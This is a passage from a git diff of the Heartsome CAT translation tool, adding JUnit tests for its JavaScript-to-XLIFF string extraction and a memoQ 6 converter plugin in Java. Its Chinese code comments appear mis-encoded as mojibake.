"alert(\"Error \\\"abc\\\" Handled\");"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // å•å¼•å·ä¸­åµŒè½¬ä¹‰çš„å•å¼•å· + @Test + public void testRunWithQuote_6() { + params.put("source", "alert('Error \\\'abc\\\' Handled')"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // åŒå¼•å·ä¸­åµŒå•å¼•å·åŠè½¬ä¹‰çš„åŒå¼•å· + @Test + public void testRunWithQuote_7() { + params.put("source", "alert(\"Error 'abc' \\\"abc\\\" Handled\");"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // åŒå¼•å·ä¸­åµŒå•å¼•å·ï¼Œä¸”åŒå¼•å·ä¹‹å‰å­˜åœ¨è¢«è½¬ä¹‰çš„å•å¼•å· + @Test + public void testRunWithQuote_8() { + params.put("source", "ale\\'test\\'rt(\"Error 'abc' Handled\");"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // å•å¼•å·ä¸­åµŒå…¥è½¬ä¹‰çš„å•å¼•å·å’ŒåŒå¼•å· + @Test + public void testRunWithQuote_9() { + params.put("source", "alert('Error \"abc\" \\\'abc\\\' Handled')"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // åŒå¼•å·ä¸­åŒ…å«è½¬ä¹‰çš„åæ–œæ  + @Test + public void testRunWithQuote_10() { + params.put("source", "alert(\"\\\\\")"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // å•å¼•å·ä¸­åŒ…å«è½¬ä¹‰çš„åæ–œæ  + @Test + public void testRunWithQuote_11() { + params.put("source", "alert('\\\\')"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // å•å¼•å·ä¸­ç»“æŸ + @Test + public void testRunWithQuote_12() { + params.put("source", "var type='abc'"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // æ— å¼•å· + @Test + public void testRunWithoutQuote() { + params.put("source", "alert()"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(0, Long.parseLong(result.firstElement())); + } + + // 引å·å†…的字符串跨行 + @Test + public void testRunWithNewline() { + params.put("source", "alert('Error \\\nHandled') //sdfldsjsdklj"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // 引å·å†…的字符串跨行但没有"\"标识 + @Test + public void testRunWithNewlineWithoutClosed() { + params.put("source", "alert('Error \nHandled') //sdfldsjsdklj"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(0, Long.parseLong(result.firstElement())); + } + + // é¿å…错误的字符串导致死循环的情况 + @Test + public void testRunWithBadString_1() { + params.put("source", "\\\'quote 'test' ok?"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // 测试人员在测试时å‘现的问题 + @Test + public void testRunWithBadString_2() { + params + .put( + "source", + "addPreprocessHandler( 'designMode != \"On\"', 'designMode != \"on\"', true, function(t){indexOf.call=call;return indexOf.call(t.text, 'kevinroth.com')>-1;} );"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(3, Long.parseLong(result.firstElement())); + } + + // 测试人员在测试时å‘现的问题:正则表达å¼ä¸­å­˜æœ‰å¥‡æ•°ä¸ªå¼•å·çš„情况 + @Test + public void testRunWithBadString_3() { + params.put("source", + "e.element.text.match(/minorVersion\\s*:\\s*'(0|X)/)"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(0, Long.parseLong(result.firstElement())); + } + + // 测试人员在测试时å‘现的问题:正则表达å¼ä¸­å­˜æœ‰æ³¨é‡Šå­—符,如 // + @Test + public void testRunWithBadString_4() { + params.put("source", "actionSubstring.replace(/\\//g,'%252F');"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // 测试人员在测试时å‘现的问题:区分正斜æ ä¸ºæ­£åˆ™è¡¨è¾¾å¼çš„å¼€å§‹å’Œé™¤å· + @Test + public void testRunWithSlash_1() { + params.put("source", "var type=100/10"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(0, Long.parseLong(result.firstElement())); + } + + // 测试人员在测试时å‘现的问题:区分正斜æ ä¸ºæ­£åˆ™è¡¨è¾¾å¼çš„å¼€å§‹å’Œé™¤å· + @Test + public void testRunWithSlash_2() { + params + .put( + "source", + "var type=100 /*tes\nt*/\n/10;/*multi comment*/var type2=20\n/2;\nalert(type)\nvar type=/a'[\\\n/]\\\n/\nalert(type+'abc')"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/Xliff2JavaScriptTest.java b/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/Xliff2JavaScriptTest.java new file mode 100644 index 0000000..18bd894 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/Xliff2JavaScriptTest.java @@ -0,0 +1,53 @@ +package net.heartsome.cat.converter.javascript.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.javascript.Xliff2JavaScript; + +import org.junit.Before; +import org.junit.Test; + + +public class Xliff2JavaScriptTest { + public static Xliff2JavaScript converter = new Xliff2JavaScript(); + private static String tgtFile = "rc/Test_zh-CN.js"; + private static String xlfFile = "rc/Test.js.xlf"; + private static String sklFile = "rc/Test.js.skl"; + + @Before + public void setUp(){ + File tgt = new File(tgtFile); + if(tgt.exists()){ + tgt.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/.classpath b/hsconverter/net.heartsome.cat.converter.memoQ6/.classpath new file mode 100644 index 0000000..9a18880 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/.project b/hsconverter/net.heartsome.cat.converter.memoQ6/.project new file mode 100644 index 0000000..febc6b9 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.memoQ6 + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.memoQ6/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.memoQ6/META-INF/MANIFEST.MF new file mode 100644 index 0000000..efba72e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/META-INF/MANIFEST.MF @@ -0,0 +1,16 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter MemoQ +Bundle-SymbolicName: net.heartsome.cat.converter.memoQ6 +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.memoq6.Activator +Require-Bundle: net.heartsome.cat.converter;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.6.0" +Bundle-ClassPath: lib/commons-compress-1.1.jar, + . +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/build.properties b/hsconverter/net.heartsome.cat.converter.memoQ6/build.properties new file mode 100644 index 0000000..a9c120e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/build.properties @@ -0,0 +1,5 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + lib/commons-compress-1.1.jar diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/lib/commons-compress-1.1.jar b/hsconverter/net.heartsome.cat.converter.memoQ6/lib/commons-compress-1.1.jar new file mode 100644 index 0000000..51baf91 Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.memoQ6/lib/commons-compress-1.1.jar differ diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/Activator.java b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/Activator.java new file mode 100644 index 0000000..08776be --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/Activator.java @@ -0,0 +1,82 @@ +package net.heartsome.cat.converter.memoq6; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator implements BundleActivator { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.converter.memoQ6"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** trados 2009文件转æ¢è‡³xliff文件的æœåŠ¡æ³¨å†Œå™¨ */ +// @SuppressWarnings("rawtypes") + private ServiceRegistration mq2XliffSR; + /** xliff文件转æ¢è‡³trados 2009文件的æœåŠ¡æ³¨å†Œå™¨ */ +// @SuppressWarnings("rawtypes") + private ServiceRegistration xliff2MqSR; + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + plugin = this; + + Converter mq2Xliff = new Mq2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Mq2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Mq2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Mq2Xliff.TYPE_NAME_VALUE); + mq2XliffSR = ConverterRegister.registerPositiveConverter(context, mq2Xliff, properties); + + Converter xliff2Mq = new Xliff2Mq(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Mq.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Mq.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Mq.TYPE_NAME_VALUE); + xliff2MqSR = ConverterRegister.registerReverseConverter(context, xliff2Mq, properties); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + if (mq2XliffSR != null) { + mq2XliffSR.unregister(); + mq2XliffSR = null; + } + if (xliff2MqSR != null) { + xliff2MqSR.unregister(); + xliff2MqSR = null; + } + plugin = null; + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/Mq2Xliff.java b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/Mq2Xliff.java new file mode 100644 index 0000000..48b8a95 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/Mq2Xliff.java @@ -0,0 +1,391 @@ +package net.heartsome.cat.converter.memoq6; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.text.MessageFormat; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.memoq6.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.apache.commons.compress.archivers.zip.ZipArchiveEntry; +import org.apache.commons.compress.archivers.zip.ZipFile; +import org.eclipse.core.runtime.IProgressMonitor; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * menoQ 6.0 的转æ¢å™¨ + * @author robert 2012-07-20 + * + */ +public class Mq2Xliff implements Converter{ + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "mqxlz"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("utils.FileFormatUtils.MQ"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "MQXLZ to XLIFF Conveter"; + + public Map convert(Map args, + IProgressMonitor monitor) throws ConverterException { + Mq2XliffImpl converter = new Mq2XliffImpl(); + return converter.run(args, monitor); + } + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + class Mq2XliffImpl{ + /** æºæ–‡ä»¶ */ + private String inputFile; + /** 转æ¢æˆçš„XLIFF文件(临时文件) */ + private String xliffFile; + /** 骨架文件(临时文件) */ + private String skeletonFile; + /** æºè¯­è¨€ */ + private String userSourceLang; + /** 目标语言 */ + private String targetLang; +// private String detectedSourceLang; +// private String detectedTargetLang; + /** 转æ¢çš„ç¼–ç æ ¼å¼ */ + private String srcEncoding; +// private Element inputRoot; +// private Document skeleton; +// private Element skeletonRoot; + /** 将数æ®è¾“出到XLIFFæ–‡ä»¶çš„è¾“å‡ºæµ */ + private FileOutputStream output; + private boolean isSuite; + /** 转æ¢å·¥å…·çš„ID */ + private String qtToolID; + /** 解æžéª¨æž¶æ–‡ä»¶çš„VTDNav实例 */ + private VTDNav sklVN; + private XMLModifier sklXM; + + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + monitor.beginTask("Converting...", 5); + Map result = new HashMap(); + + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + targetLang = params.get(Converter.ATTR_TARGET_LANGUAGE); + userSourceLang = params.get(Converter.ATTR_SOURCE_LANGUAGE); + srcEncoding = params.get(Converter.ATTR_SOURCE_ENCODING); + + isSuite = false; + if (Converter.TRUE.equalsIgnoreCase(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + + qtToolID = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + try { + output = new FileOutputStream(xliffFile); + parseMQZip(inputFile, skeletonFile); +// copyFile(skeletonFile, "C:\\Users\\Administrator\\Desktop\\test.xml"); + //é‡æ–°è§£æž + parseHSSkeletonFile(); + //先写下头文件 + writeHeader(); + analyzeNodes(); + + writeString("\n"); + writeString("
    \n"); + writeString("
    "); + + sklXM.output(skeletonFile); + +// String file1 = "/home/robert/Desktop/file1.txt"; +// String file2 = "/home/robert/Desktop/file2.txt"; +// copyFile(skeletonFile, file1); +// copyFile(xliffFile, file2); + } catch (Exception e) { + e.printStackTrace(); + String errorTip = Messages.getString("mq2Xlf.msg1"); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e); + }finally{ + try { + output.close(); + } catch (Exception e2) { + e2.printStackTrace(); + String errorTip = Messages.getString("mq2Xlf.msg1") + "\n" + e2.getMessage(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e2); + } + monitor.done(); + } + + return result; + } + + /** + * è§£æž memoQ çš„æºæ–‡ä»¶ï¼Œå¹¶å°†å†…容拷è´è‡³éª¨æž¶æ–‡ä»¶ä¸­ + * @param mqZip + * @param hsSkeleton R8 hsxliff的骨架文件 + * @throws Exception + */ + private void parseMQZip(String mqZip, String hsSkeleton) throws Exception{ + ZipFile zipFile = new ZipFile(new File(mqZip), "utf-8"); + Enumeration e = zipFile.getEntries(); + byte ch[] = new byte[1024]; + String outputFile = ""; + File mqSklTempFile = File.createTempFile("tempskl", "skl"); + mqSklTempFile.deleteOnExit(); + while (e.hasMoreElements()) { + ZipArchiveEntry zipEntry = (ZipArchiveEntry) e.nextElement(); + if ("document.mqxliff".equals(zipEntry.getName())) { + outputFile = hsSkeleton; + }else { + outputFile = mqSklTempFile.getAbsolutePath(); + } + File zfile = new File(outputFile); + FileOutputStream fouts = new FileOutputStream(zfile); + InputStream in = zipFile.getInputStream(zipEntry); + int i; + while ((i = in.read(ch)) != -1) + fouts.write(ch, 0, i); + fouts.close(); + in.close(); + } + + //解æžr8骨加文件,并把 mq 的骨架信æ¯æ·»åŠ åˆ° r8 的骨架文件中 + parseHSSkeletonFile(); + copyMqSklToHsSkl(mqSklTempFile); + } + + /** + * 解æžR8 的骨架文件 + * @throws Exception + */ + private void parseHSSkeletonFile() throws Exception { + String errorInfo = ""; + VTDGen vg = new VTDGen(); + if (vg.parseFile(skeletonFile, true)) { + sklVN = vg.getNav(); + sklXM = new XMLModifier(sklVN); + }else { + errorInfo = MessageFormat.format(Messages.getString("mq.parse.msg1"), + new Object[]{new File(inputFile).getName()}); + throw new Exception(errorInfo); + } + } + + /** + * å°†mq 的骨架文件拷到R8 的骨架文件中 + * @throws Exception + */ + private void copyMqSklToHsSkl(File mqSkeletonFile) throws Exception { + VTDGen vg = new VTDGen(); + AutoPilot ap = new AutoPilot(); + String mqSklContent = ""; + String xpath = "/mq:externalparts"; + if(vg.parseFile(mqSkeletonFile.getAbsolutePath(), true)){ + VTDNav vn = vg.getNav(); + ap.bind(vn); + VTDUtils vu = new VTDUtils(vn); + ap.declareXPathNameSpace("mq", "MemoQ Xliff external parts"); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + mqSklContent = vu.getElementContent(); + } + } + + //下é¢æ·»åŠ åˆ° r8 的骨架文件中去 + ap.bind(sklVN); + xpath = "/xliff/file/header/skl"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + sklXM.insertAfterElement("" + mqSklContent + ""); + sklXM.output(skeletonFile); + } + } + + /** + * 写下XLIFF文件的头节点 + */ + private void writeHeader() throws IOException { + writeString("\n"); + writeString("\n"); + writeString("\n"); + writeString("
    \n"); + writeString(" \n"); + String crc = ""; + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("utf-8")) + "\""; + } + writeString(" \n"); + writeString(" \n"); + writeString(" \n"); + writeString(" " + + srcEncoding + "\n"); + writeString("
    \n"); + writeString("\n"); + } + + private void writeString(String string) throws IOException { + output.write(string.getBytes("utf-8")); //$NON-NLS-1$ + } + + /** + * 分æžæ¯ä¸€ä¸ªèŠ‚点 + * @throws Exception + */ + private void analyzeNodes() throws Exception{ + AutoPilot ap = new AutoPilot(sklVN); + AutoPilot childAP = new AutoPilot(sklVN); + VTDUtils vu = new VTDUtils(sklVN); + String xpath = "/xliff/file/body//trans-unit[source/text()!='' or source/*]"; ///seg-source/mrk[@mtype=\"seg\"] + String srxXpath = "./source"; + String tgtXpath = "./target"; + //获å–æ¯ä¸ªèŠ‚点的内容 + TuBean bean = null; + ap.selectXPath(xpath); + int index = -1; + //xliff 文件的 trans-unit 节点的 id 值 + int segId = 0; + while (ap.evalXPath() != -1) { + bean = new TuBean(); + sklVN.push(); + childAP.selectXPath(srxXpath); + while (childAP.evalXPath() != -1) { + String srcContent = vu.getElementContent(); + if (srcContent != null && !"".equals(srcContent)) { + bean.setSrcText(srcContent); + //开始填充å ä½ç¬¦ + insertPlaceHolder(vu, "" + segId, "source"); + bean.setSegId("" + segId); + segId ++; + } + } + sklVN.pop(); + + // 开始处ç†éª¨æž¶æ–‡ä»¶çš„è¯‘æ–‡ä¿¡æ¯ + sklVN.push(); + childAP.selectXPath(tgtXpath); + while (childAP.evalXPath() != -1) { + if (bean.getSegId() == null || "".equals(bean.getSegId())) { + continue; + } + //注æ„两个填充å ä½ç¬¦æ–¹æ³•çš„ä½ç½®ä¸åŒã€‚ + String tgtContent = vu.getElementContent(); + insertPlaceHolder(vu, bean.getSegId(), "target"); + bean.setTgtText(tgtContent); + } + + if ((index = sklVN.getAttrVal("mq:status")) != -1) { + String status = sklVN.toString(index); + bean.setStatus(status); + } + if ((index = sklVN.getAttrVal("mq:locked")) != -1) { + bean.setLocked("locked".equals(sklVN.toString(index))); + } + + //开始填充数æ®åˆ°XLIFF文件 + writeSegment(bean); + sklVN.pop(); + } + } + + + /** + * 给剔去翻译内容åŽçš„骨架文件填充å ä½ç¬¦ + * @throws Exception + */ + private void insertPlaceHolder(VTDUtils vu, String seg, String nodeName) throws Exception{ + String nodeHeader = vu.getElementHead(); + String newNodeStr = nodeHeader + "%%%" + seg + "%%%" + ""; + sklXM.remove(); + sklXM.insertAfterElement(newNodeStr); + } + + + private void writeSegment(TuBean bean) throws Exception { + String srcContent = bean.getSrcText(); + StringBuffer tuSB = new StringBuffer(); + String status = bean.getStatus(); + + String tgtStatusStr = ""; + boolean isApproved = false; + //NotStarted 为未翻译 + //具体的æ„æ€åŠä¸ŽR8的转æ¢è¯·æŸ¥çœ‹tgtBean.getStatus()的注释。 + if ("PartiallyEdited".equals(status)) { + tgtStatusStr += " state=\"new\""; + }else if ("ManuallyConfirmed".equals(status)) { + isApproved = true; + tgtStatusStr += " state=\"translated\""; + } + String approveStr = isApproved ? " approved=\"yes\"" : ""; + //是å¦é”定 + String lockStr = bean.isLocked() ? " translate=\"no\"" : ""; + + tuSB.append(" \n"); + tuSB.append(" " + srcContent + "\n"); + if (!bean.isTgtNull()) { + String tgtContent = bean.getTgtText(); + tuSB.append(" " + + tgtContent + "\n"); + } + //æ·»åŠ å¤‡æ³¨ä¿¡æ¯ + if (bean.getNote() != null && "".equals(bean.getNote().trim())) { + //这是R8的标注格å¼ï¼š2012-03-06:asdf + tuSB.append("" + bean.getNote() + ""); + } + tuSB.append(" \n"); + writeString(tuSB.toString()); + } + } + + /** + * 将一个文件的数æ®å¤åˆ¶åˆ°å¦ä¸€ä¸ªæ–‡ä»¶ + * @param in + * @param out + * @throws Exception + */ + private static void copyFile(String in, String out) throws Exception { + FileInputStream fis = new FileInputStream(in); + FileOutputStream fos = new FileOutputStream(out); + byte[] buf = new byte[1024]; + int i = 0; + while ((i = fis.read(buf)) != -1) { + fos.write(buf, 0, i); + } + fis.close(); + fos.close(); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/TuBean.java b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/TuBean.java new file mode 100644 index 0000000..73b14f2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/TuBean.java @@ -0,0 +1,55 @@ +package net.heartsome.cat.converter.memoq6; + +public class TuBean { + private String segId; + private String srcText; + private String tgtText; + private String status; + private boolean isLocked; + private String note; + + + public TuBean(){} + + + public String getSegId() { + return segId; + } + public void setSegId(String segId) { + this.segId = segId; + } + public String getSrcText() { + return srcText; + } + public void setSrcText(String srcText) { + this.srcText = srcText; + } + public String getTgtText() { + return tgtText; + } + public void setTgtText(String tgtText) { + this.tgtText = tgtText; + } + public String getStatus() { + return status; + } + public void setStatus(String status) { + this.status = status; + } + public boolean isLocked() { + return isLocked; + } + public void setLocked(boolean isLocked) { + this.isLocked = isLocked; + } + public String getNote() { + return note; + } + public void setNote(String note) { + this.note = note; + } + + public boolean isTgtNull(){ + return tgtText == null || "".equals(tgtText); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/Xliff2Mq.java b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/Xliff2Mq.java new file mode 100644 index 0000000..955de2b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/Xliff2Mq.java @@ -0,0 +1,434 @@ +package net.heartsome.cat.converter.memoq6; + +import java.io.BufferedInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.memoq6.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.apache.commons.compress.archivers.zip.ZipArchiveEntry; +import org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream; +import org.eclipse.core.runtime.IProgressMonitor; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * memoQ 6.0 逆å‘转æ¢å™¨ + * @author robert 2012-07-20 + * + */ +public class Xliff2Mq implements Converter{ + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "mqxlz"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("utils.FileFormatUtils.MQ"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to MQXLZ Conveter"; + + public Map convert(Map args, + IProgressMonitor monitor) throws ConverterException { + Xliff2MqImpl converter = new Xliff2MqImpl(); + return converter.run(args, monitor); + } + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + class Xliff2MqImpl{ + /** The encoding. */ + private String encoding; + + /** 逆转æ¢çš„结果文件 */ + private String outputFile; + /** 骨架文件的解æžæ¸¸æ ‡ */ + private VTDNav sklVN; + /** 骨架文件的修改类实例 */ + private XMLModifier sklXM; + /** 骨架文件的查询实例 */ + private AutoPilot sklAP; + /** xliff文件的解æžæ¸¸æ ‡ */ + private VTDNav xlfVN; + + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸¤å¤§éƒ¨åˆ†å…± 10 个任务,其中加载 xliff æ–‡ä»¶å  4,替æ¢è¿‡ç¨‹å  6。 + monitor.beginTask("Converting...", 10); + Map result = new HashMap(); + String sklFile = params.get(Converter.ATTR_SKELETON_FILE); + String xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + outputFile = params.get(Converter.ATTR_TARGET_FILE); + + try { + //先将骨架文件的内容拷è´åˆ°ç›®æ ‡æ–‡ä»¶ï¼Œå†è§£æžç›®æ ‡æ–‡ä»¶ + copyFile(sklFile, outputFile); + parseOutputFile(sklFile, xliffFile); + parseXlfFile(xliffFile); + ananysisXlfTU(); + + //下é¢è¿™æ˜¯ memoQ 的骨架文件。而sklFile为R8的骨架文件。 + File mqTempSkl = File.createTempFile("mqSkeleton", ".mqskl"); + mqTempSkl.deleteOnExit(); + createMqSkeleton(mqTempSkl); + + sklXM.output(sklFile); + createMQZipFile(sklFile, mqTempSkl); + + } catch (Exception e) { + e.printStackTrace(); + String errorTip = Messages.getString("xlf2mq.msg1") + "\n" + e.getMessage(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e); + }finally{ + monitor.done(); + } + return result; + } + + + + /** + * 解æžç»“果文件(解æžæ—¶è¿™ä¸ªç»“果文件还是一个骨架文件) + * @param file + * @throws Exception + */ + private void parseOutputFile(String file, String xliffFile) throws Exception { +// copyFile(file, 